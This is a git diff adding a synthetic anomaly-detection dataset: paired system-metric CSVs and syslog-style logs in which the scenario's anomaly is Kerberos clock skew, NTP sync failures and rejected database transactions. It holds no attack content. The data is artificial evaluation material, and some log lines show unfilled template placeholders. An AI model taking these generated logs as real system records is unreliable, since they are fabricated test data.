kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:31:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:31:20 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:31:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:31:30 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:31:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:31:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:31:45 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:31:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:31:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:32:00 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:32:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:32:05 systemd[1]: Started Session 130 of user admin. +Jul 15 14:32:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:32:15 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:32:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:32:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:32:30 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:32:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:32:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:32:45 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:32:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:32:50 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:32:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:32:58 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:33:00 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:33:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:33:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:33:15 systemd[1]: Started Session 145 of user admin. +Jul 15 14:33:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:33:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:33:30 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:33:33 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:33:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:33:35 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:33:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:33:45 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:33:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:33:54 auth-service[4512]: WARN Kerberos authentication failed: Clock skew too great +Jul 15 14:33:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:34:00 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:34:03 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:34:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:34:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:34:15 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:34:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:34:20 systemd[1]: Started Session 160 of user admin. +Jul 15 14:34:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:34:30 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:34:33 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:34:34 auth-service[4512]: WARN Kerberos authentication failed: Clock skew too great +Jul 15 14:34:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:34:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:34:45 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:34:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:34:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:35:00 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:35:03 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:35:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:35:05 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:35:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:35:14 auth-service[4512]: WARN Kerberos authentication failed: Clock skew too great +Jul 15 14:35:15 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:35:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:35:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:35:30 systemd[1]: Started Session 175 of user admin. +Jul 15 14:35:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:35:38 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:35:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:35:45 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:35:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:35:50 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:35:54 auth-service[4512]: WARN Kerberos authentication failed: Clock skew too great +Jul 15 14:35:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:36:00 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:36:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:36:08 krb5kdc[1988]: ERROR: Clock skew detected with client app-server-3.domain.local +Jul 15 14:36:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:36:15 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:36:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:36:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:36:30 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:36:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 diff --git a/anom_dataset/scenario_16/anom_16_10.csv b/anom_dataset/scenario_16/anom_16_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..04855e7926d9e95da582a8388a119ee500e39e1e --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,19.18,41.98,31.27,1.11,1.05 +2025-07-16T10:00:05Z,26.15,49.07,30.61,1.17,0.87 +2025-07-16T10:00:10Z,25.99,44.96,35.45,1.22,0.9 +2025-07-16T10:00:15Z,22.23,42.67,35.09,1.74,0.97 +2025-07-16T10:00:20Z,21.86,37.1,38.38,1.52,0.51 +2025-07-16T10:00:25Z,26.2,57.7,26.7,1.48,0.64 +2025-07-16T10:00:30Z,27.32,53.91,25.8,1.13,1.16 +2025-07-16T10:00:35Z,21.99,53.05,32.69,1.19,0.52 +2025-07-16T10:00:40Z,25.49,50.99,22.03,1.06,0.76 +2025-07-16T10:00:45Z,25.38,38.96,37.14,1.42,0.92 +2025-07-16T10:00:50Z,33.19,44.72,34.63,1.5,0.75 +2025-07-16T10:00:55Z,21.13,42.56,18.32,0.94,1.08 +2025-07-16T10:01:00Z,22.22,37.06,42.25,0.76,1.1 +2025-07-16T10:01:05Z,22.95,48.82,31.89,1.4,1.14 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--- /dev/null +++ b/anom_dataset/scenario_16/anom_16_10.log @@ -0,0 +1,90 @@ +Jul 16 10:00:00 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:00:05 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:00:10 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:00:15 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:00:20 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:00:30 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:00:36 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:00:41 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:00:46 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:00:51 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:00:56 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:01:01 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:01:06 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:01:12 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:01:17 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:01:22 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:01:27 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:01:32 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:01:37 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:01:43 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:01:48 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:01:53 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:01:58 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:02:03 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:02:08 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:02:13 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:02:19 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:02:24 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:02:29 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:02:34 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:02:39 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:02:44 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:02:49 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:02:55 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:03:00 kerberos-kdc[4567]: WARN Clock skew of 62s detected for principal 'HTTP/app.example.com' +Jul 16 10:03:05 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:03:10 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:03:15 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:03:20 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:03:26 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:03:31 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:03:36 auth-server[3456]: WARN Clock skew detected. System time is out of sync with domain controller. +Jul 16 10:03:41 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:03:46 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:03:51 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:03:56 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:02 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:07 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:12 ntp-client[1122]: ERROR NTP sync failed: No suitable server found. +Jul 16 10:04:17 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:22 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:04:27 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:04:32 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:04:38 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:43 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:04:48 distributed-db[7890]: FATAL Transaction rejected: Timestamp is outside the acceptable range. Possible clock skew. +Jul 16 10:04:53 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:04:58 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:05:03 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:05:09 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:05:14 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:05:19 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:05:24 kerberos-kdc[4567]: WARN Clock skew of 62s detected for principal 'HTTP/app.example.com' +Jul 16 10:05:29 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:05:34 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:05:39 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:05:45 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:06:00 distributed-db[7890]: FATAL Transaction rejected: Timestamp is outside the acceptable range. Possible clock skew. +Jul 16 10:06:05 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:06:10 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:06:15 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:06:21 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:06:26 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:06:31 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:06:36 ntp-client[1122]: ERROR NTP sync failed: No suitable server found. +Jul 16 10:06:41 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:06:46 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:06:52 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 16 10:06:57 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:07:02 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:07:07 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:07:12 distributed-db[7890]: FATAL Transaction rejected: Timestamp is outside the acceptable range. Possible clock skew. +Jul 16 10:07:17 api-gateway[1234]: GET /api/v1/health status=200 OK +Jul 16 10:07:22 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 16 10:07:28 auth-server[3456]: INFO User 'admin' logged in successfully from 192.168.1.100 +Jul 16 10:07:33 db-service[5678]: INFO Connection pool resized to 20 +Jul 16 10:07:38 cron[6789]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/anom_dataset/scenario_16/anom_16_11.csv b/anom_dataset/scenario_16/anom_16_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..d19c8dd5c1e79af35e877498a96085dd8216992c --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,11.12,38.19,30.79,0.94,0.91 +2025-07-03T10:00:05Z,15.76,42.44,30.38,0.98,0.78 +2025-07-03T10:00:10Z,15.66,39.98,33.41,1.02,0.8 +2025-07-03T10:00:15Z,13.15,38.6,33.18,1.36,0.85 +2025-07-03T10:00:20Z,12.91,35.26,35.24,1.21,0.51 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+2025-07-03T10:03:45Z,16.49,35.05,19.89,0.77,0.8 +2025-07-03T10:03:50Z,15.56,39.74,24.87,0.71,0.79 +2025-07-03T10:03:55Z,14.9,42.23,29.54,0.96,0.83 +2025-07-03T10:04:00Z,14.21,35.09,14.72,0.63,0.77 +2025-07-03T10:04:05Z,16.37,41.46,25.92,1.19,0.79 +2025-07-03T10:04:10Z,17.59,43.05,18.24,1.29,0.89 +2025-07-03T10:04:15Z,15.31,44.89,27.12,1.09,0.75 +2025-07-03T10:04:20Z,15.98,37.3,31.22,0.98,0.77 +2025-07-03T10:04:25Z,12.68,37.87,25.96,1.17,0.79 +2025-07-03T10:04:30Z,14.8,40.52,38.3,1.18,0.77 +2025-07-03T10:04:35Z,14.19,40.31,38.65,0.88,0.79 +2025-07-03T10:04:40Z,14.7,35.19,35.42,0.98,0.7 +2025-07-03T10:04:45Z,15.66,39.62,22.56,1.29,0.59 +2025-07-03T10:04:50Z,14.25,41.72,25.6,0.91,0.79 +2025-07-03T10:04:55Z,16.08,33.88,36.64,1.15,0.94 +2025-07-03T10:05:00Z,15.39,43.0,26.39,1.1,1.01 +2025-07-03T10:05:05Z,14.31,43.52,37.57,1.13,1.0 +2025-07-03T10:05:10Z,13.47,37.19,16.75,0.96,0.75 +2025-07-03T10:05:15Z,16.55,37.63,30.0,1.14,0.78 +2025-07-03T10:05:20Z,17.8,38.98,33.18,0.86,0.84 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+2025-07-03T10:07:05Z,15.56,40.77,36.0,0.92,0.92 +2025-07-03T10:07:10Z,13.25,38.12,36.02,0.95,0.95 +2025-07-03T10:07:15Z,14.66,40.6,33.48,1.03,0.6 +2025-07-03T10:07:20Z,13.66,40.93,33.35,1.22,0.8 +2025-07-03T10:07:25Z,14.99,39.93,26.19,0.72,1.19 diff --git a/anom_dataset/scenario_16/anom_16_11.log b/anom_dataset/scenario_16/anom_16_11.log new file mode 100644 index 0000000000000000000000000000000000000000..6fea4439d10b3ef5402de027f83e2a51c6672cb2 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_11.log @@ -0,0 +1,90 @@ +Jul 03 10:00:00 CRON[6782]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:00:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:10 CRON[{}]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:15 CRON[7426]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:35 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:45 CRON[{}]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 10:02:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 CRON[6355]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:36 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:41 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:47 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:52 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:02:58 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:03 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:09 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:14 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:03:31 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:03:36 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:03:42 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:03:47 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:03:53 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:03:58 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:04 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:09 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:15 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:20 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:26 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:31 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:37 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:04:42 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:48 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:53 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:04:59 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:04 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:10 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:15 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:21 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:26 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:32 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:37 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:43 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:48 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:54 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:05:59 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:10 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:06:16 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:06:21 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:06:27 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:32 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:06:38 CRON[7632]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:43 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:06:49 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:06:54 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:05 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:11 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:16 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:22 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:07:27 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:33 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:38 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:44 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:49 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' +Jul 03 10:07:55 auth-svc[4567]: ERROR Clock skew detected for principal 'server/host.example.com' diff --git a/anom_dataset/scenario_16/anom_16_12.csv b/anom_dataset/scenario_16/anom_16_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..fe850dd3fb706c9f6606413bd2f319477c8ad794 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,15.99,40.29,33.13,1.63,1.0 +2025-08-22T10:00:05Z,14.72,42.91,25.71,0.77,1.21 +2025-08-22T10:00:10Z,16.3,37.89,24.65,1.55,0.88 +2025-08-22T10:00:15Z,18.05,39.02,32.41,1.2,0.98 +2025-08-22T10:00:20Z,14.53,38.82,28.88,0.91,1.04 +2025-08-22T10:00:25Z,14.53,35.61,33.57,1.34,0.82 +2025-08-22T10:00:30Z,18.16,40.89,32.37,1.26,0.94 +2025-08-22T10:00:35Z,16.53,40.78,29.64,1.02,0.9 +2025-08-22T10:00:40Z,14.06,40.02,25.77,1.22,0.92 +2025-08-22T10:00:45Z,16.09,39.3,22.43,1.08,0.75 +2025-08-22T10:00:50Z,14.07,35.75,27.77,1.23,0.9 +2025-08-22T10:00:55Z,14.07,38.74,34.28,1.4,1.0 +2025-08-22T10:01:00Z,15.48,38.97,31.07,1.68,1.19 +2025-08-22T10:01:05Z,11.17,37.59,23.77,0.83,1.09 +2025-08-22T10:01:10Z,11.55,39.52,30.87,1.84,1.33 +2025-08-22T10:01:15Z,13.88,41.21,31.93,0.61,0.75 +2025-08-22T10:01:20Z,12.97,45.66,25.58,1.15,1.07 +2025-08-22T10:01:25Z,15.63,40.52,30.77,1.38,0.94 +2025-08-22T10:01:30Z,13.18,40.77,30.29,1.28,1.34 +2025-08-22T10:01:35Z,12.18,39.78,24.29,1.01,0.74 +2025-08-22T10:01:40Z,17.93,34.24,31.79,1.14,0.73 +2025-08-22T10:01:45Z,14.55,39.92,32.8,1.05,0.78 +2025-08-22T10:01:50Z,15.14,40.18,35.42,1.02,0.48 +2025-08-22T10:01:55Z,12.15,47.39,35.27,1.45,0.79 +2025-08-22T10:02:00Z,13.91,39.42,23.11,1.31,0.75 +2025-08-22T10:02:05Z,15.22,40.9,25.31,0.99,0.93 +2025-08-22T10:02:10Z,12.7,39.9,32.58,1.47,0.97 +2025-08-22T10:02:15Z,15.75,36.49,32.57,1.29,1.28 +2025-08-22T10:02:20Z,13.8,43.43,32.58,1.44,1.09 +2025-08-22T10:02:25Z,14.42,42.26,49.26,1.39,0.78 +2025-08-22T10:02:30Z,13.8,42.37,32.85,0.95,0.72 +2025-08-22T10:02:35Z,18.7,37.27,35.68,1.03,1.0 +2025-08-22T10:02:40Z,14.97,44.21,34.77,1.42,0.64 +2025-08-22T10:02:45Z,12.88,35.79,33.26,1.38,1.27 +2025-08-22T10:02:50Z,16.65,41.76,28.42,1.19,1.14 +2025-08-22T10:02:55Z,12.56,46.57,33.79,1.24,0.81 +2025-08-22T10:03:00Z,15.42,37.03,26.14,1.58,0.56 +2025-08-22T10:03:05Z,11.08,38.3,28.82,1.02,1.17 +2025-08-22T10:03:10Z,12.34,40.3,27.57,1.36,0.88 +2025-08-22T10:03:15Z,15.39,38.49,30.41,1.14,1.15 +2025-08-22T10:03:20Z,16.48,35.35,41.57,1.13,0.58 +2025-08-22T10:03:25Z,15.34,40.21,20.66,1.53,0.78 +2025-08-22T10:03:30Z,14.77,36.81,33.43,1.45,0.9 +2025-08-22T10:03:35Z,14.4,41.42,21.94,1.44,0.91 